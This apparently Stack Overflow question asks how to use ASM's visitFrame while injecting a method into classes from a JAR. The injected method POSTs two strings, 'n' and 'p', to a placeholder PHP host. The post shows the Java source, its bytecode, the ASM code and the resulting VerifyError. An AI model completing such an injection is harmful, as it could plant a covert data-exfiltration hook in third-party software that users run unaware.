title: Understanding how to use visitFrame
body: <p>I am reading in a bunch of classes from a JAR file in which I plan to inject a simple method (and then dump the new jar) in Java which posts some data to a PHP file:</p>
  
  <pre><code>public static void post(final String n, final String o){
      try{
          final URL url = new URL("http://urltophpfile.com/phpfile.php");
          final HttpURLConnection connection = (HttpURLConnection) url.openConnection();
          connection.setReadTimeout(60000);
          connection.setConnectTimeout(60000);
          connection.setDoInput(true);
          connection.setDoOutput(true);
          connection.setRequestMethod("POST");
          connection.addRequestProperty("User-Agent", "useragent");
          final BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(connection.getOutputStream()));
          writer.write(String.format("n=%s&amp;p=%s", n, o));
          writer.flush();
          writer.close();
          connection.getInputStream().read();
      }catch(IOException ex){
          ex.printStackTrace();
      }
  }
  </code></pre>
  
  <p>Then I viewed the bytecode for it using the Intellij Bytecode Viewer which produced:</p>
  
  <pre><code>    public static post(Ljava/lang/String;Ljava/lang/String;)V
      TRYCATCHBLOCK L0 L1 L2 java/io/IOException
              L0
      LINENUMBER 11 L0
      NEW java/net/URL
              DUP
      LDC "http://urltophpfile.com/phpfile.phpp"
      INVOKESPECIAL java/net/URL.&lt;init&gt; (Ljava/lang/String;)V
      ASTORE 2
      L3
      LINENUMBER 12 L3
      ALOAD 2
      INVOKEVIRTUAL java/net/URL.openConnection ()Ljava/net/URLConnection;
      CHECKCAST java/net/HttpURLConnection
      ASTORE 3
      L4
      LINENUMBER 13 L4
      ALOAD 3
      LDC 60000
      INVOKEVIRTUAL java/net/HttpURLConnection.setReadTimeout (I)V
              L5
      LINENUMBER 14 L5
      ALOAD 3
      LDC 60000
      INVOKEVIRTUAL java/net/HttpURLConnection.setConnectTimeout (I)V
              L6
      LINENUMBER 15 L6
      ALOAD 3
      ICONST_1
      INVOKEVIRTUAL java/net/HttpURLConnection.setDoInput (Z)V
              L7
      LINENUMBER 16 L7
      ALOAD 3
      ICONST_1
      INVOKEVIRTUAL java/net/HttpURLConnection.setDoOutput (Z)V
              L8
      LINENUMBER 17 L8
      ALOAD 3
      LDC "POST"
      INVOKEVIRTUAL java/net/HttpURLConnection.setRequestMethod (Ljava/lang/String;)V
              L9
      LINENUMBER 18 L9
      ALOAD 3
      LDC "User-Agent"
      LDC "useragent"
      INVOKEVIRTUAL java/net/HttpURLConnection.addRequestProperty (Ljava/lang/String;Ljava/lang/String;)V
              L10
      LINENUMBER 19 L10
      NEW java/io/BufferedWriter
              DUP
      NEW java/io/OutputStreamWriter
              DUP
      ALOAD 3
      INVOKEVIRTUAL java/net/HttpURLConnection.getOutputStream ()Ljava/io/OutputStream;
      INVOKESPECIAL java/io/OutputStreamWriter.&lt;init&gt; (Ljava/io/OutputStream;)V
      INVOKESPECIAL java/io/BufferedWriter.&lt;init&gt; (Ljava/io/Writer;)V
      ASTORE 4
      L11
      LINENUMBER 20 L11
      ALOAD 4
      LDC "n=%s&amp;p=%s"
      ICONST_2
      ANEWARRAY java/lang/Object
              DUP
      ICONST_0
      ALOAD 0
      AASTORE
              DUP
      ICONST_1
      ALOAD 1
      AASTORE
      INVOKESTATIC java/lang/String.format (Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
      INVOKEVIRTUAL java/io/BufferedWriter.write (Ljava/lang/String;)V
              L12
      LINENUMBER 21 L12
      ALOAD 4
      INVOKEVIRTUAL java/io/BufferedWriter.flush ()V
              L13
      LINENUMBER 22 L13
      ALOAD 4
      INVOKEVIRTUAL java/io/BufferedWriter.close ()V
              L14
      LINENUMBER 23 L14
      ALOAD 3
      INVOKEVIRTUAL java/net/HttpURLConnection.getInputStream ()Ljava/io/InputStream;
      INVOKEVIRTUAL java/io/InputStream.read ()I
              POP
      L1
      LINENUMBER 26 L1
      GOTO L15
      L2
      LINENUMBER 24 L2
      FRAME SAME1 java/io/IOException
      ASTORE 2
      L16
      LINENUMBER 25 L16
      ALOAD 2
      INVOKEVIRTUAL java/io/IOException.printStackTrace ()V
              L15
      LINENUMBER 27 L15
      FRAME SAME
      RETURN
              L17
      LOCALVARIABLE url Ljava/net/URL; L3 L1 2
      LOCALVARIABLE connection Ljava/net/HttpURLConnection; L4 L1 3
      LOCALVARIABLE writer Ljava/io/BufferedWriter; L11 L1 4
      LOCALVARIABLE ex Ljava/io/IOException; L16 L15 2
      LOCALVARIABLE n Ljava/lang/String; L0 L17 0
      LOCALVARIABLE o Ljava/lang/String; L0 L17 1
      MAXSTACK = 6
      MAXLOCALS = 5
  }
  </code></pre>
  
  <p>Which I then converted to ASM:</p>
  
  <pre><code>    final MethodNode postMethod = new MethodNode(Opcodes.ACC_PUBLIC | Opcodes.ACC_STATIC, "post", "(Ljava/lang/String;Ljava/lang/String;)V", null, null);
      final Label tryStart = new Label();
      postMethod.visitLabel(tryStart);
      postMethod.visitTypeInsn(Opcodes.NEW, "java/net/URL");
      postMethod.visitInsn(Opcodes.DUP);
      postMethod.visitLdcInsn("http://urltophpfile.com/phpfile.php");
      postMethod.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/net/URL", "&lt;init&gt;", "(Ljava/lang/String;)V");
      postMethod.visitVarInsn(Opcodes.ASTORE, 2);
      postMethod.visitVarInsn(Opcodes.ALOAD, 2);
      postMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/net/URLConnection", "openConnection", "()Ljava/net/URLConnection;");
      postMethod.visitTypeInsn(Opcodes.CHECKCAST, "java/net/HttpURLConnection");
      postMethod.visitVarInsn(Opcodes.ASTORE, 3);
      postMethod.visitVarInsn(Opcodes.ALOAD, 3);
      postMethod.visitLdcInsn(60000);
      postMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/net/HttpURLConnection", "setReadTimeout", "(I)V");
      postMethod.visitVarInsn(Opcodes.ALOAD, 3);
      postMethod.visitLdcInsn(60000);
      postMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/net/HttpURLConnection", "setConnectTimeout", "(I)V");
      postMethod.visitVarInsn(Opcodes.ALOAD, 3);
      postMethod.visitInsn(Opcodes.ICONST_1);
      postMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/net/HttpURLConnection", "setDoInput", "(Z)V");
      postMethod.visitVarInsn(Opcodes.ALOAD, 3);
      postMethod.visitInsn(Opcodes.ICONST_1);
      postMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/net/HttpURLConnection", "setDoOutput", "(Z)V");
      postMethod.visitVarInsn(Opcodes.ALOAD, 3);
      postMethod.visitLdcInsn("POST");
      postMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/net/HttpURLConnection", "setRequestMethod", "(Ljava/lang/String;)V");
      postMethod.visitVarInsn(Opcodes.ALOAD, 3);
      postMethod.visitLdcInsn("User-Agent");
      postMethod.visitLdcInsn("useragent");
      postMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/net/HttpURLConnection", "addRequestProperty", "(Ljava/lang/String;Ljava/lang/String;)V");
      postMethod.visitTypeInsn(Opcodes.NEW, "java/io/BufferedWriter");
      postMethod.visitInsn(Opcodes.DUP);
      postMethod.visitTypeInsn(Opcodes.NEW, "java/io/OutputStreamWriter");
      postMethod.visitInsn(Opcodes.DUP);
      postMethod.visitVarInsn(Opcodes.ALOAD, 3);
      postMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/net/HttpURLConnection", "getOutputStream", "()Ljava/io/OutputStream;");
      postMethod.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/io/OutputStreamWriter", "&lt;init&gt;", "(Ljava/io/OutputStream;)V");
      postMethod.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/io/BufferedWriter", "&lt;init&gt;", "(Ljava/io/Writer;)V");
      postMethod.visitVarInsn(Opcodes.ASTORE, 4);
      postMethod.visitVarInsn(Opcodes.ALOAD, 4);
      postMethod.visitLdcInsn("n=%s&amp;p=%s");
      postMethod.visitInsn(Opcodes.ICONST_2);
      postMethod.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
      postMethod.visitInsn(Opcodes.DUP);
      postMethod.visitInsn(Opcodes.ICONST_0);
      postMethod.visitVarInsn(Opcodes.ALOAD, 0);
      postMethod.visitInsn(Opcodes.AASTORE);
      postMethod.visitInsn(Opcodes.DUP);
      postMethod.visitInsn(Opcodes.ICONST_1);
      postMethod.visitVarInsn(Opcodes.ALOAD, 1);
      postMethod.visitInsn(Opcodes.AASTORE);
      postMethod.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/String", "format", "(Ljava/lang/String;[Ljava/lang/Object;)L/java/lang/String;");
      postMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/BufferedWriter", "write", "(Ljava/lang/String;)V");
      postMethod.visitVarInsn(Opcodes.ALOAD, 4);
      postMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/BufferedWriter", "flush", "()V");
      postMethod.visitVarInsn(Opcodes.ALOAD, 4);
      postMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/BufferedWriter", "close", "()V");
      postMethod.visitVarInsn(Opcodes.ALOAD, 3);
      postMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/net/HttpURLConnection", "getInputStream", "()Ljava/io/InputStream;");
      postMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/InputStream", "read", "()I");
      postMethod.visitInsn(Opcodes.POP);
      final Label gotoEnd = new Label();
      postMethod.visitJumpInsn(Opcodes.GOTO, gotoEnd);
      // FRAME SAME1 java/io/IOException &lt;- how to create instruction?
      final Label catchStart = new Label();
      postMethod.visitLabel(catchStart);
      postMethod.visitVarInsn(Opcodes.ASTORE, 2);
      postMethod.visitVarInsn(Opcodes.ALOAD, 2);
      postMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/IOException", "printStackTrace", "()V");
      final Label tryEnd = new Label();
      postMethod.visitLabel(tryEnd);
      postMethod.visitLabel(gotoEnd);
      // FRAME SAME &lt;- how to create instruction?
      postMethod.visitInsn(Opcodes.RETURN);
      postMethod.visitTryCatchBlock(tryStart, tryEnd, catchStart, "java/io/IOException");
      postMethod.visitMaxs(6, 5);
  </code></pre>
  
  <p>The problem is that when I try dumping all of the classes to the jar and starting it, I receive the exception:</p>
  
  <pre><code>Exception in thread "AWT-EventQueue-0" java.lang.VerifyError: Expecting a stackmap frame at branch target 124
  Exception Details:
  Location:
          Client.post(Ljava/lang/String;Ljava/lang/String;)V @0: new
  Reason:
  Expected stackmap frame at this location.
          Bytecode:
          0000000: bb0d ed59 1316 21b7 1119 4d2c b616 27c0
  0000010: 1629 4e2d 1316 2ab6 162d 2d13 162a b616
  0000020: 302d 04b6 1633 2d04 b616 362d 1316 38b6
  0000030: 163b 2d13 163d 1316 3fb6 1642 bb14 5059
          0000040: bb16 4459 2db6 1645 b716 48b7 1456 3a04
  0000050: 1904 1316 4a05 bd03 0059 032a 5359 042b
  0000060: 53b8 164d b616 4f19 04b6 1652 1904 b614
  0000070: 652d b616 53b6 1657 57a7 0008 4d2c b613
  0000080: 9ab1
  Exception Handler Table:
  bci [0, 129] =&gt; handler: 124
  </code></pre>
  
  <p>I receive this exception because I don't know how to properly use the <code>visitFrame</code> method. I've tried to look at the <a href="http://asm.ow2.org/asm40/javadoc/user/org/objectweb/asm/tree/FrameNode.html" rel="noreferrer">documentation for <code>visitFrame</code></a> but that didn't help much. Can someone explain how to properly use <code>visitFrame</code> in my scenario? Any help would be greatly appreciated, thanks.</p>